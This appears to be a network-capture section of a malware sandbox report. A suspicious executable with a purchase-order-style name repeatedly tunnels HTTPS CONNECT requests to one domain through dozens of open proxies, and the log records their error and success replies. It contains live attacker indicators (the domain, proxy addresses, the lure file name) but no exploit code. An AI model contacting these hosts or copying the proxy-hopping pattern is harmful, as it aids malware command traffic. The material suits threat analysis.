Mar 11, 2024 16:42:31.092381001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.142039061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.142298937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.142067909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.268172026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:07.285593987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:19.297847986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:43.329040051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:31.391417027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1704	192.168.2.11	52147	62.33.53.248	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.092477083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:03.999257088 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:43:03 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3896 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2017 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {marg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1705	192.168.2.11	55093	123.241.210.123	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.121424913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1706	192.168.2.11	52222	52.151.210.204	9000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.188406944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1707	192.168.2.11	54141	41.33.219.132	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.189094067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1708	192.168.2.11	52177	46.209.204.147	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.195688963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.329267025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.438929081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.454355001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.485392094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:07.579082966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1709	192.168.2.11	54524	193.122.98.1	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.196739912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.842581034 CET	536	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.24.0 Date: Mon, 11 Mar 2024 15:42:31 GMT Content-Type: text/html Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.24.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1710	192.168.2.11	52340	201.71.2.177	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.197287083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.261198997 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1711	192.168.2.11	52338	43.129.228.46	7890	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.211225033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.514807940 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1712	192.168.2.11	52390	92.205.61.38	21286	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.211620092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.282371044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.282593966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1713	192.168.2.11	52313	181.212.136.34	7518	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.307095051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.485680103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.486008883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.485632896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.579066038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:07.579138994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:19.579061031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:43.579025984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:31.578919888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1714	192.168.2.11	55105	74.119.144.60	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.350825071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1715	192.168.2.11	52456	162.214.162.180	46369	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.610845089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.641936064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.641983032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1716	192.168.2.11	52737	147.12.46.62	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.618570089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.050421953 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:31 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 